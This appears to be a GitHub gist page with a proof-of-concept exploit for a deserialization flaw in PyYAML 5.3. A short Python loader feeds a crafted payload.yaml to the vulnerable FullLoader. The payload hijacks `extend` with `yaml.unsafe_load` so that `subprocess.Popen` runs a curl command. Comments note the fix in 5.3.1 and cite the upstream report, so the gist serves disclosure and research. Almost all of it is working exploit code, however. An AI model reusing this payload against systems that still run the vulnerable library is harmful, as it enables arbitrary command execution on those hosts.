Skip to content

Instantly share code, notes, and snippets.

@adamczi

adamczi/load.py

Last active October 30, 2023 11:01
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save adamczi/23a3b6d4bb7b2be35e79b0667d6682e1 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save adamczi/23a3b6d4bb7b2be35e79b0667d6682e1 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. adamczi revised this gist May 20, 2020. 2 changed files with 2 additions and 1 deletion.
    1 change: 1 addition & 0 deletions load.py
    View file
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,6 @@
    # pyyaml==5.3 required. Vulnerability has been fixed in 5.3.1
    # More: ret2libc's report in https://github.com/yaml/pyyaml/pull/386
    # Explanation: https://2130706433.net/blog/pyyaml/
    from yaml import *

    with open('payload.yaml','rb') as f:
    2 changes: 1 addition & 1 deletion payload.yaml
    View file
    Original file line number Diff line number Diff line change
    @@ -2,7 +2,7 @@
    # custom `listitems` argument, in this case a simple curl request

    - !!python/object/new:yaml.MappingNode
    listitems: !!str '!!python/object/apply:subprocess.Popen [["curl", "127.0.0.1/rce"]]'
    listitems: !!str '!!python/object/apply:subprocess.Popen [["curl", "http://127.0.0.1/rce"]]'
    state:
    tag: !!str dummy
    value: !!str dummy
  2. adamczi created this gist Mar 30, 2020.
    8 changes: 8 additions & 0 deletions load.py
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,8 @@
    # pyyaml==5.3 required. Vulnerability has been fixed in 5.3.1
    # More: ret2libc's report in https://github.com/yaml/pyyaml/pull/386
    from yaml import *

    with open('payload.yaml','rb') as f:
    content = f.read()

    data = load(content, Loader=FullLoader) # Using vulnerable FullLoader
    9 changes: 9 additions & 0 deletions payload.yaml
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,9 @@
    # The `extend` function is overriden to run `yaml.unsafe_load` with
    # custom `listitems` argument, in this case a simple curl request

    - !!python/object/new:yaml.MappingNode
    listitems: !!str '!!python/object/apply:subprocess.Popen [["curl", "127.0.0.1/rce"]]'
    state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load